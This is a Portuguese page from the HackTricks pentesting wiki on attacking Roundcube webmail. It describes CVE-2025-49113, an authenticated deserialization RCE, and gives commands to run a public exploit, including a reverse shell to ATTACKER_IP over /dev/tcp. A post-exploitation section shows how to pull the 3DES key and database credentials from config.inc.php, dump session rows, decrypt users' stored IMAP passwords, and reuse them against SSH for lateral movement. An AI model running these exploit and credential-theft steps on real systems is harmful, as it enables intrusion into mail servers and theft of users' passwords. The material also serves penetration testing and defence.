Roundcube
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
Roundcube é um cliente webmail em PHP comumente exposto em vhosts HTTP(S) (ex.: mail.example.tld). Fingerprints úteis:
- O código-fonte HTML frequentemente leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- Caminho padrão do app em containers/VMs: /var/www/html/roundcube
- Configuração principal: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Affected versions (per vendor/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
Resumo do bug
- O parâmetro _from em program/actions/settings/upload.php não é validado, permitindo a injeção de dados controlados pelo atacante que o Roundcube depois unserializes, levando à execução de gadget chain e remote code execution no contexto web (post‑auth).
Exploração rápida
- Requisitos: credenciais válidas do Roundcube e um UI URL alcançável (e.g., http://mail.target.tld)
- PoC público automatiza session handling, gadget crafting and upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Notas
- A saída frequentemente é cega; use sleep N para validar RCE
- O shell resultante normalmente roda como www-data; em implantações containerizadas espere /.dockerenv e a rede 172.17.0.0/16
Post‑exploitation: recuperar senhas IMAP de sessões do Roundcube
Roundcube armazena a senha IMAP do usuário atual na sessão (database) cifrada com a chave 3DES do lado do servidor configurada em config.inc.php. Com acesso ao filesystem ou ao DB no host Roundcube você pode recuperar senhas em plaintext e pivotar para outras caixas de correio/serviços (reuso de SSH é comum).
- Ler o DB DSN e a chave 3DES do config
config/config.inc.php normalmente contém:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- Conecte-se ao DB e dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
O campo session.vars é um blob Base64 produzido pelo encrypt() do Roundcube: Base64( IV || 3DES-CBC(plaintext) ). Os primeiros 8 bytes após a decodificação Base64 são o IV.
- Localizar o campo password
Uma forma rápida de identificar a credential dentro da estrutura descriptografada é primeiro decodificar em Base64 o campo vars e inspecionar visualmente as entradas serializadas:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Descriptografar usando o helper do Roundcube
Roundcube inclui uma CLI que utiliza a mesma lógica rcmail->decrypt() e a des_key configurada:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Descriptografia manual 3DES-CBC (opcional)
- Formato do ciphertext: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, tamanho da chave 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Locais comuns
- Tabela DB: session (a tabela users mapeia nomes de login para IDs)
- Caminho de configuração: /var/www/html/roundcube/config/config.inc.php
Uso operacional
- Linhas antigas da tabela session frequentemente contêm senhas IMAP de usuários anteriores; decrypt multiple entries para mover lateralmente para outras caixas de correio
- Tente as credentials recuperadas contra SSH ou outros serviços se houver suspeita de credential reuse
Referências
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks

